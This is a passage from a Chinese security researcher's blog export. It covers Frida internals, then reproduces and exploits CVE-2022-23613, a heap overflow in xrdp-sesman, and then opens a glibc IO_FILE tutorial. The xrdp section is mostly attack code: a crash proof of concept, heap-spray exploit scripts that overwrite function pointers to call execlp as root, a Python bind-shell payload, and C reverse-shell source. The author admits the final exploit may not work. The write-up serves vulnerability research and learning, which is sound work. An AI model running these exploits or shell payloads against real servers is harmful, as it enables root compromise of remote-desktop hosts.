{\t\t\t\trequest.set_exception (e);\t\t\t} else {\t\t\t\tlog_warning ("Failed to start: " + e.message);\t\t\t}\t\t}\t}\n\n由于该函数是以回调函数的形式被注册的,因此附加的进程在每次触发请求的时候都会重新调用该函数处理。\n然后我们再看看使用这种方式的情况下是如何附加进程和启动进程的。\n在前文中曾说过,通过 IPC 的方式,主机端能够直接调用类中的方法,其中一个比较关键的类是 ControlChannel ,它负责了几个关键行为的设定。\npublic async uint spawn (string program, HostSpawnOptions options, Cancellable? cancellable) throws Error, IOError {\tif (program != this_app.identifier)\t\tthrow new Error.NOT_SUPPORTED ("Unable to spawn other apps when embedded");\tresume_on_attach = false;\treturn this_process.pid;}\n\n对于 spawn 方式的启动,由于所有模块都被打包在同一个进程中,因此当前进程就是将要附加的进程,因此 spawn 可以直接返回当前进程的 pid。\nattach 倒是没太大变化:\npublic async AgentSessionId attach (uint pid, HashTable<string, Variant> options,\t\tCancellable? cancellable) throws Error, IOError {\tvalidate_pid (pid);\tif (resume_on_attach)\t\tFrida.Gadget.resume ();\treturn yield parent.attach (options, this, cancellable);}\n\n它仍然调用 parent.attach 去附加。\n总结一下就是:\n\nfrida-gadget 被注入以后会在加载该库的时候调用 load 方法\n该方法根据用户提供的配置文件选择接下来的行为\n对于 Listen 则是监听地址端口并触发回调完成交互\n如果用户在配置中指定来 resume,那么此前会先调用 resume 恢复进程\n对于 Script 则是读取给定路径下的脚本解析并加载\n如果需要监听文件变化时候动态修改 hook ,那么还需要额外操作\n\nlaunchd上文大致介绍完了 frida 的大体逻辑,但是还有一个细节上的小问题没有解决。具体来说就是,“frida 到底是怎么通过 spawn 启动的进程?”\n实际上,frida 除了对进程本身进行注入以外,还会对 launchd 进行注入:\nInterceptor.attach(Module.getExportByName('/usr/lib/system/libsystem_kernel.dylib', '__posix_spawn'), { onEnter(args) { const env = parseStringv(args[4]); const prewarm = isPrewarmLaunch(env); if (prewarm && !gating) return; const path = args[1].readUtf8String(); let rawIdentifier; if (path === '/usr/libexec/xpcproxy') { rawIdentifier = args[3].add(pointerSize).readPointer().readUtf8String(); } else { rawIdentifier = tryParseXpcServiceName(env); if (rawIdentifier === null) return; } let identifier, event; if (rawIdentifier.startsWith('UIKitApplication:')) { identifier = rawIdentifier.substring(17, rawIdentifier.indexOf('[')); if (!prewarm && upcoming.has(identifier)) event = 'launch:app'; else if (gating) event = 'spawn'; else return; } else if (gating || (reportCrashes && crashServices.has(rawIdentifier))) { identifier = rawIdentifier; event = 'spawn'; } else { return; } const attrs = args[2].add(pointerSize).readPointer(); let flags = attrs.readU16(); flags |= POSIX_SPAWN_START_SUSPENDED; attrs.writeU16(flags); this.event = event; this.path = path; this.identifier = identifier; this.pidPtr = args[0]; }, onLeave(retval) { const { event } = this; if (event === undefined) return; const { path, identifier, pidPtr, threadId } = this; if (event === 'launch:app') upcoming.delete(identifier); if (retval.toInt32() < 0) return; const pid = pidPtr.readU32(); suspendedPids.add(pid); if (pidsToIgnore !== null) pidsToIgnore.add(pid); if (substrateInvocations.has(threadId)) { substratePidsPending.set(pid, notifyFridaBackend); } else { notifyFridaBackend(); } function notifyFridaBackend() { send([event, path, identifier, pid]); } }});\n\n这个地方直接把 __posix_spawn 给 hook 掉了,并且加上了 POSIX_SPAWN_START_SUSPENDED 的 flag,该标记能够让进程在启动后被挂起。\n总结各个组件的功能如下:\n\nfrida-server / 一个服务端。负责在设备上与本机通讯\nfrida-agant / 被注入到进程中去的动态库,通常由 frida-server 释放注入,负责编译脚本注入进程\nfrida-helper / 负责具体的进程注入、启动进程等功能\nfrida-gadgat / frida-server+frida-agant+frida-helper ,将三者的功能全都集成在一个动态库中,由用户手动注入到应用中\n\n这里引出一个小问题,对于被注入 Frida-gadget 的 app 来说,如果我不使用 frida 去启动它,而是通过点击图标的方式原生启动应用,那么应用还能正常启动吗?\n如果仅凭上文的分析,主机端通过 IPC 通信去调用设备上对应的函数从而启动了应用,但是原生启动是不通过 IPC 的,这种情况下,frida-gadget 要如何工作呢?它还会正常去启动应用吗?\n问了一些师傅,他们表示 Android 平台下,即便注入的 frida-gadget 也是可以正常点击打开的,但是笔者在 iOS16 上测试发现这将导致闪退,但是诡异的是,我能够用 frida -U -f bundleid 正常打开应用。而在 iOS14 上,笔者发现应用将会停在启动页面无法继续执行,并且 frida 也没办法附加,以及 frida -U -f bundleid 也无法正常启动了,唯独 Xcode 启动时,一切正常,这十分的诡异。\n以上问题目前笔者还不清楚原因,欢迎师傅们讨论。\n","categories":["Note","逆向工程"],"tags":["逆向工程","Frida"]},{"title":"CVE-2022-23613 漏洞复现与利用可能性尝试","url":"/2022/11/04/CVE-2022-23613-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%A9%E7%94%A8%E5%8F%AF%E8%83%BD%E6%80%A7%E5%B0%9D%E8%AF%95/","content":"\n写在前面:本篇文章后,笔者已经发现了可稳定利用且不依赖堆喷的利用方案,详情请见笔者于 看雪KCTF2022秋季赛 所出题目:https://bbs.kanxue.com/thread-274982.htm笔者在该比赛中将本题的稳定利用方式作为赛题提交参赛,并最终收获 精致奖(Rank3)因此本篇内容属于笔者对于堆喷利用技巧的探索和思考\n\nCVE-2022-23613复现与漏洞利用可能性因为很少做过真实场景下的漏洞复现,深感自己知识的浅薄,恰巧团里的师傅发了个洞,让我看看怎么利用,因此顺便做一个简陋的分析吧。\n漏洞编号为 CVE-2022-23613,现已公开了相关信息。该漏洞作为一个运行在 root 权限下的 RDP 服务,由于该漏洞最终能够导致任意代码执行,因此笔者打算以提权作为最终的利用目标。\n\n若本文存在任何纰漏,请务必与我联系,我会尽快修正本文内容。\n\n复现环境xrdp-sesman 0.9.18 The xrdp session manager Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors. See https://github.com/neutrinolabs/xrdp for more information.\n\n该项目的开源地址:https://github.com/neutrinolabs/xrdp\n漏洞成因static intsesman_data_in(struct trans *self){+ #define HEADER_SIZE 8 int version; int size; if (self->extra_flags == 0) { in_uint32_be(self->in_s, version); in_uint32_be(self->in_s, size);- if (size > self->in_s->size)+ if (size < HEADER_SIZE || size > self->in_s->size) {- LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");+ LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size); return 1; } self->header_size = size;@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self) return 1; } /* reset for next message */- self->header_size = 8;+ self->header_size = HEADER_SIZE; self->extra_flags = 0; init_stream(self->in_s, 0); /* Reset input stream pointers */ } return 0;+ #undef HEADER_SIZE}/******************************************************************************/\n\n从已公开的 Patch 可以看出,它添加了一个对 size 变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。\nelse /* connected server or client (2 or 3) */{ if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);\n\n查找 self->header_size 的引用,可以发现该变量将与 self->trans_recv 的参数间接相关,而该函数类似于 read 的作用,将 self 相关的套接字中读取 to_read 个字符到 self->in_s->end 。\n而该缓冲区来自于:\nstruct trans *trans_create(int mode, int in_size, int out_size){ struct trans *self = (struct trans *) NULL; self = (struct trans *) g_malloc(sizeof(struct trans), 1); if (self != NULL) { make_stream(self->in_s); init_stream(self->in_s, in_size); make_stream(self->out_s); init_stream(self->out_s, out_size); self->mode = mode; self->tls = 0; /* assign tcp calls by default */ self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; } return self;}\n\n#define init_stream(s, v) do \\ { \\ if ((v) > (s)->size) \\ { \\ g_free((s)->data); \\ (s)->data = (char*)g_malloc((v), 0); \\ (s)->size = (v); \\ } \\ (s)->p = (s)->data; \\ (s)->end = (s)->data; \\ (s)->next_packet = 0; \\ } while (0)\n\n可以看见,该缓冲区会通过 g_malloc 创建在堆上,那么只要 to_read 的值超出了堆的原始大小,就有可能造成堆溢出了:\ng_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);\n\n从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs :\ninttrans_check_wait_objs(struct trans *self){\t...... if (self->type1 == TRANS_TYPE_LISTENER) /* listening */ {\t\t...... } else /* connected server or client (2 or 3) */ { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);\t\t\t\t...... }\t\t...... } return rv;}\n\n如果创建的类型不为 TRANS_TYPE_LISTENER ,那么该连接就会调用 self->trans_recv 将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size 可能是负数的情况,因此可以令 to_read 通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。\nPOC:\nimport socketimport structif __name__ == "__main__": s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize s.send(sdata) sdata = b'a'*0x10000 #padding s.send(sdata)\n\n漏洞利用回顾一下刚刚的 trans_create 可以发现:\nstruct trans *trans_create(int mode, int in_size, int out_size){ struct trans *self = (struct trans *) NULL; self = (struct trans *) g_malloc(sizeof(struct trans), 1); ...... self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; return self;}\n\nstruct trans self 结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv 偏移处的值为一个类似 system 的函数来进行任意命令执行。\n通过 IDA 搜索可以找到如下两个函数:\nextern:00000000004105D8 extrn g_execvp:nearextern:0000000000410658 extrn g_execlp3:near\n\n这两个命令分别是 execvp 和 execlp 的包装,函数实现如下:\nintg_execvp(const char *p1, char *args[]){\t...... args_len = 0; while (args[args_len] != NULL) { args_len++; } g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len); g_rm_temp_dir(); rv = execvp(p1, args);\t......}intg_execlp3(const char *a1, const char *a2, const char *a3){\t...... g_strnjoin(args_str, ARGS_STR_LEN, " ", args, 2);\t...... g_rm_temp_dir(); rv = execlp(a1, a2, a3, (void *)0);\t......}\n\n因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:\n#include<stdlib.h>int main(){\tchar ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\\"\\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\\"sh\\");";\texeclp("python3","python3",ars2,0);\treturn 0;}\n\n这个格式就比较像 g_execlp3 的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。\n参数控制的难点read_bytes = self->trans_recv(self, self->in_s->end, to_read);\n\n假设我们令 self->trans_recv 为 g_execlp3 ,那么我们就需要令 self 指向 “python3”,self->in_s->end 也是一个指向 “python3” 字符串的指针,以及 to_read 必须为一个指向参数的指针。\n通过 IDA 搜索二进制程序中的字符串可以发现,唯一一个或许能用的字符串只有 “/bin/sh”,因此所有的参数字符串都需要我们一起放在 payload 中输入到内存里去才行。\n但是有与常规的 CTF PWN 题不同的是,用户通过 socket 进行交互,泄露地址是一件比较麻烦的事情,大部分情况下甚至连回显都拿不到,更何况就算有办法拿到回显,泄露地址的参数也仍然需要控制,因此又要绕回到这个问题上,因此只好考虑如何在无地址的情况下完成利用。\n覆盖结构体的细节struct trans{ tbus sck; /* socket handle */ int mode; /* 1 tcp, 2 unix socket, 3 vsock */ int status; int type1; /* 1 listener 2 server 3 client */ ttrans_data_in trans_data_in; ttrans_conn_in trans_conn_in; void *callback_data; int header_size; struct stream *in_s; struct stream *out_s; char *listen_filename; tis_term is_term; /* used to test for exit */ struct stream *wait_s; char addr[256]; char port[256]; int no_stream_init_on_data_in; int extra_flags; /* user defined */ struct ssl_tls *tls; const char *ssl_protocol; /* e.g. TLSv1, TLSv1.1, TLSv1.2, unknown */ const char *cipher_name; /* e.g. AES256-GCM-SHA384 */ trans_recv_proc trans_recv;//0x280 trans_send_proc trans_send; trans_can_recv_proc trans_can_recv; struct source_info *si; enum xrdp_source my_source;};\n\nself 是一个 struct trans ,为了触发 self->trans_recv ,我们需要先通过几个检查:\ninttrans_check_wait_objs(struct trans *self){\t...... if (self->status != TRANS_STATUS_UP) { return 1; } rv = 0; if (self->type1 == TRANS_TYPE_LISTENER) //<------ false {\t\t...... } else /* connected server or client (2 or 3) */ { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);\t\t\t\t......}\n\n\nself->status 必须固定为 TRANS_STATUS_UP\nself->type1 不可为 TRANS_TYPE_LISTENER\nself->trans_can_recv 返回非 0 值\nself->si 非 0\n\n可以注意到,由于 self->status 的值是固定的,因此 self 为字符串时,只有前几个字符可以控制,不过看起来似乎还是够写至少八个字符的,因此第一个参数似乎可以稳定传参。\n但是正如刚刚所说,另外两个参数的控制就显得有些麻烦了。\n首先是 self->in_s->end,这意味着需要先覆盖 self->in_s 为 target_addr-end_offset:\nstruct stream{ char *p; char *end; char *data; int size; int pad0; /* offsets of various headers */ char *iso_hdr; char *mcs_hdr; char *sec_hdr; char *rdp_hdr; char *channel_hdr; /* other */ char *next_packet; struct stream *next; int *source;};\n\n也就是说,需要它是一个地址,而现在我们似乎没办法泄露随机的堆地址。\n第二个是 to_read 函数,它通过两行代码计算得出:\nread_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;\n\n控制 to_read 并不困难,假设我们需要它指向一个堆,由于堆地址总是小于 0x80000000,因此它是一个正数能够被保证,其次,self->header_size 能够被任意控制,因此控制其值本身是容易的,但是问题还是一样的,堆地址怎么来?\n另外还有一个需要注意的点是,为了调用 self->trans_recv 需要先通过 self->trans_can_recv ,由于 self 结构体已经被覆盖,该函数是有一定可能调用失败的,该函数的实际实现如下:\nintg_sck_can_recv(int sck, int millis){ fd_set rfds; struct timeval time; int rv; g_memset(&time, 0, sizeof(time)); time.tv_sec = millis / 1000; time.tv_usec = (millis * 1000) % 1000000; FD_ZERO(&rfds); if (sck > 0) { FD_SET(((unsigned int)sck), &rfds); rv = select(sck + 1, &rfds, 0, 0, &time); if (rv > 0) { return 1; } } return 0;}\n\n由于我们完全不关心该函数的功能逻辑,笔者在构造 exp 时候打算令其直接恒真:\n0x0000000000405464 : or al, 0x89 ; ret\n\n注意到程序有这么一个 gadget 可以利用,因此我们将该函数指针覆盖为该 gadget 时即可绕过检查。\n堆喷的可能性您可能会注意到,每次初始化输入缓冲区和输出缓冲区时,都建立了 0x2000 大小的缓冲区,这个值并不小,那么如果多建立几个连接,是否就能够像堆喷那样完成利用呢?\n/** * Maximum number of short-lived connections to sesman * * At the moment, all connections to sesman are short-lived. This may change * in the future */#define MAX_SHORT_LIVED_CONNECTIONS 16\n\n可以看见,此处的 MAX_SHORT_LIVED_CONNECTIONS 较小,它只允许我们最多保持 16 个连接,生成的堆内存如下:\npwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x403000 r--p 3000 0 /usr/local/sbin/xrdp-sesman 0x403000 0x40b000 r-xp 8000 3000 /usr/local/sbin/xrdp-sesman 0x40b000 0x40f000 r--p 4000 b000 /usr/local/sbin/xrdp-sesman 0x40f000 0x410000 r--p 1000 e000 /usr/local/sbin/xrdp-sesman 0x410000 0x411000 rw-p 1000 f000 /usr/local/sbin/xrdp-sesman 0x65b000 0x6a7000 rw-p 4c000 0 [heap] 0x6a7000 0x6c8000 rw-p 21000 0 [heap]\n\n总共的堆内存大小为 0x6D000,考虑到堆一开始就有一部分被用于其他用途,笔者最终算出来的堆内存可用大小最多为 0x5b0b8,而堆的地址大概在 0x0300000~0x3500000\n\n这个数值是笔者在调试过程中根据印象猜出来的,实际还是要以源代码为准,但笔者在这里想要表达的意思是,强行堆喷的成功率不高,粗算一下大概是 0.7112884521484375%(原神单抽一个五星的感觉)\n\n但其实还不只是如此,因为强行堆喷需要布置的内容是参数+地址,大致结构如下:\nargs_str1 | args_str2 | args_str1_addr | args_str2_addr\n\n而您需要保证的是:\n\nself->in_s 能够指向 args_str1_addr-8\n以及 args_str1_addr 能够指向 args_str1\n\n如果您能够保证以上两点,args_str2_addr 由于可以通过偏移算出,因此几乎必中,to_read 参数也可以通过偏移算出,也能够保证几乎必中。\n但您也发现了,这需要碰撞两次地址,对本就不太容易成功的条件更是雪上加霜。看起来似乎需要优化一下堆喷的思路才能够完成。\n对堆喷思路的优化\n注:以下内容是笔者在尝试时的一种猜测,它没能成功,但笔者仍然写在这里,期望与各位师傅们探讨它的可行性。可能已经有过这样的技巧了,但作为一次学习记录,姑且写下吧。\n\n因为一开始我们是将输入的结构作为一个整体进行地址碰撞,但似乎可以拆分一下来提高成功率。\n结构一为:\nargs_str1 | args_str2\n\n结构二为:\nargs_str1_addr | args_str2_addr\n\n也就是说,将字符串和指向字符串的地址拆分开,分别用两个结构去填充内存。\n看起来似乎没有差别,但是由于 Glibc 管理的堆内存是一个线性结构,这意味着 args_str1 和 args_str1_addr 是可以有一个较为稳定的相对偏移的(这个偏移会浮动,但笔者认为浮动不大,只要字符串结构布置的足够密集,理论上会更容易命中一点)。\n那么情况就会变成:如果 self->in_s 命中了 args_str1_addr-8 ,那么, args_str1_addr 为 args_str1+offset ,理论上也有不小的概率能够命中。\n这么来看,似乎将本来需要碰撞两次的地址优化为了只 需要碰撞一次+一个中概率事件发生。\n\n在 16 个连接的条件下,由于堆的大小较小,因此笔者没能成功,但是如果我们调大了这块内存,允许建立大约 100 个连接左右的情况下,堆的内存会骤增。笔者最后测试的结果大约是 10% 左右的碰撞命中率。\n\nimport socketimport structimport timedef pack_addr(): sdata=b"python3\\x00-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\\"\\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\\"sh\\");\\x00" return sdatadef pack_addr2(): sdata = b"\\xf0\\x93\\x0a\\x02\\x00\\x00\\x00\\x00" sdata = b"\\xf8\\x93\\x0a\\x02\\x00\\x00\\x00\\x00" return sdatas = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",3350))# padding args_strcon_list=[0]*300for i in range(14): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize con_list[i].send(sdata) sdata = pack_addr()*0xd0 con_list[i].send(sdata)con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[14].connect(("127.0.0.1",3350))con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[15].connect(("127.0.0.1",3350))x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)x.connect(("127.0.0.1",3350))# padding args_str_addrcon_list2=[0]*300def heap_spary(x,y): for i in range(x,y): con_list2[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list2[i].connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize con_list2[i].send(sdata) sdata = pack_addr2()*0x3f0 con_list2[i].send(sdata) time.sleep(0.05)heap_spary(0,50)heap_spary(50,100)heap_spary(100,150)#init streamsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)con_list[15].send(sdata)sdata = b'D'*0x10con_list[15].send(sdata)# heap_overflowsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)con_list[14].send(sdata)sdata = b'C'*0x4140+b"\\xb1\\x02\\x00\\x00\\x00\\x00\\x00\\x00"+b"/tmp/x\\x00\\x00"+b"\\x01\\x00\\x00\\x00"*2sdata+=b"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x93\\x3a\\x02\\x00\\x00\\x00\\x00"sdata+=b"P"*0x240+b"\\xf0\\x3b\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x3a\\x40\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x64\\x54\\x40\\x00\\x00\\x00\\x00\\x00"con_list[14].send(sdata)# trigger execlpsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += b"\\x58\\x01\\xda\\x00\\x00\\x00\\x00\\x00" #headersizecon_list[15].send(sdata)\n\n大致的 exp 如上,先将参数打入到堆内存的首部,然后再往之后的堆内存里去堆字符串的地址。最后在覆盖 self->in_s 时候用一个堆地址去撞。\n第二法与例外在堆喷失败以后,笔者又试了一下其他的方法,最终认为,如果我们只需要在本机上进行提权,完全不需要这么麻烦去构造一个 execlp 的调用链。\n首先,我们可以先写一个用于反弹 shell 的程序,用静态编译的方法将其编译到 ”/tmp/x“:\n#include <stdio.h>#include<stdlib.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#include <fcntl.h>#include <netinet/in.h>#include <arpa/inet.h>#include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#include <fcntl.h>#include <netinet/in.h>#include <netdb.h>char shell[]="/bin/sh";char message[]="hi hacker welcome";int sock;int main(int argc, char *argv[]) {\tstruct sockaddr_in server;\tif((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\tprintf("Couldn't make socket!n"); exit(-1);\t}\tserver.sin_family = AF_INET;\tserver.sin_port = htons(atoi("10000"));\tserver.sin_addr.s_addr = inet_addr("0.0.0.0");\tif(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {\tprintf("Could not connect to remote shell!n");\t//exit(-1);\t//\treturn -1;\t\texit(-1);\t}\tsend(sock, message, sizeof(message), 0);\tdup2(sock, 0);\tdup2(sock, 1);\tdup2(sock, 2);\texecl(shell,"/bin/sh",(char *)0);\tclose(sock);\treturn 1;\t}\tvoid usage(char *prog[]) {\tprintf("Usage: %s <reflect ip> <port>\\n", prog);\t//exit(-1);\t//\treturn -1;\t\texit(-1);}\n\n接下来我们令服务调用如下函数:\n#include<stdlib.h>#include <errno.h>#include <stdio.h>int main(){\tint a=execlp("/tmp/x",0,0,(void*)0);\treturn 0;}\n\n后两个参数是完全随意的,不管是什么,只要是合法参数都行,或者:\n#include<stdlib.h>#include <errno.h>#include <stdio.h>int main(){\tint a=execvp("/tmp/x",0);\treturn 0;}\n\n对于 execlp 的情况,由于服务中使用的实际上是 g_execlp3 ,因此我们需要保证第二和第三个参数是可解析的,只要它们是可解析的,那么为任意值都行。\n而对于第二个情况,我们只需要令第二个参数为 0 即可,不过在该服务中,其实际实现如下:\nintg_execvp(const char *p1, char *args[]){ int rv; char args_str[ARGS_STR_LEN]; int args_len; args_len = 0; while (args[args_len] != NULL) { args_len++; } g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len); LOG(LOG_LEVEL_DEBUG, "Calling exec (excutable: %s, arguments: %s)", p1, args_str); g_rm_temp_dir(); rv = execvp(p1, args); /* should not get here */ LOG(LOG_LEVEL_ERROR, "Error calling exec (excutable: %s, arguments: %s) " "returned errno: %d, description: %s", p1, args_str, g_get_errno(), g_get_strerror()); g_mk_socket_path(0); return rv;#endif}\n\n self->in_s->end 为 0 将会失败,因为 args[args_len] 会引用错误的地址。因此最好的办法是找一个地方,让 self->in_s->end 能够指向 0 。\n这似乎是有可能实现的,而且即便我们找不到任何指向 0 的指针,只要能有一片连续的地址保持如下结构就行了:\naddr1 | addr2 | addr3 | 0\n\n甚至于,直接尝试堆喷去撞那个将近 1% 的概率似乎也不是不能接受。\n加之第一个参数是稳定控制的,尽管能写的字符数不多,但 ”/tmp/x“ 总共也不到八字节,绰绰有余。\n这么一看,似乎对参数就有很多余裕了,只要参数符合调用规则,任意参数都可以。因此接下来就只剩下找到一个合适的地址作为参数去构造了。\n最后的 EXP 结构大致如下:\nimport socketimport structimport timedef pack_addr2(): sdata = b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00" return sdatas = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",3350))con_list=[0]*300for i in range(12): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) sdata += struct.pack(">I",0x80000000) con_list[i].send(sdata) sdata = pack_addr2()*0x3f0 con_list[i].send(sdata) time.sleep(0.05)con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[14].connect(("127.0.0.1",3350))con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[15].connect(("127.0.0.1",3350))x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)x.connect(("127.0.0.1",3350))# init streamsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[15].send(sdata)sdata = b'D'*0x10con_list[15].send(sdata)# heap overflowsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[14].send(sdata)sdata = b'C'*0x4140+b"\\xb1\\x02\\x00\\x00\\x00\\x00\\x00\\x00"+b"/tmp/x\\x00\\x00"+b"\\x01\\x00\\x00\\x00"*2sdata+=b"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x93\\x3a\\x02\\x00\\x00\\x00\\x00"sdata+=b"P"*0x240+b"\\xf0\\x3b\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x3a\\x40\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x64\\x54\\x40\\x00\\x00\\x00\\x00\\x00"con_list[14].send(sdata)# trigger execlpsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += b"\\x58\\x01\\xda\\x00\\x00\\x00\\x00\\x00"con_list[15].send(sdata)\n\n\n这个 exp 可能是不通的,因为我选了用 execlp 去完成。主要是做到这一步之后,我感兴趣的部分已经全都完成了,所以差不多就停了,并且本文也已经写完了。\n如果读者对 execvp 的方案感兴趣,也可以自行尝试一下。\n\n","categories":["Note","漏洞挖掘"],"tags":["漏洞挖掘"]},{"title":"零基础要如何破除 IO_FILE 利用原理的迷雾","url":"/2022/09/20/%E9%9B%B6%E5%9F%BA%E7%A1%80%E8%A6%81%E5%A6%82%E4%BD%95%E7%A0%B4%E9%99%A4-IO-FILE-%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86%E7%9A%84%E8%BF%B7%E9%9B%BE/","content":"前言好久以前,在我完成 Glibc2.23 的基本堆利用学习以后,IO_FILE 的利用就被提上日程了,但苦于各种各样的麻烦因素,时至今日,我才终于动笔开始学习这种利用技巧,实属惭愧。\n近几年,由于堆利用的条件越来越苛刻,加之几个常用的劫持 hook 被删除,IO 的地位逐渐有超过堆利用的趋势,因此为了跟上这几年的新潮,赶紧回来学习一下 IO 流的利用技巧。\n如果本文存在任何错误,请务必与我联系。\n最开始是打算跟着内核去看 IO_FILE 的,但是最近内核的学习暂时搁置了,于是迫不得已现在就开始学 IO 了,不过也还好,这部分内容跟着其他师傅的文章去学,似乎也不会太成问题,有问题就是我的问题。而且主要涉及到的内容其实和内核无关,都是些 GLIBC 的源代码,这部分其实还在用户层,不过大多数利用都在通过 largebin attack 进行,因此可能还是需要一部分的堆利用基础的。\n\n不过下文大多数情况都建立在读者已经理解 largebin attack 的前提下进行,其具体只表现为 “任意地址写一个堆地址”,因此以笔者个人认为,即便不明白其对应的利用原理,只要知道能够完成一次任意地址读写,就不会对之后的说明在理解上遇到障碍。\n\n本文的行文逻辑如下:\n\nIO_FILE 结构体和虚表调用逻辑\n虚表调用的跟踪分析\n低版本下,劫持虚表的利用原理\n对劫持虚表的保护原理分析\n高版本下,调用链劫持原理\n具体的利用手段\n\nIO_FILE 结构体首先是一个基本的结构体:\nstruct _IO_FILE_plus{ 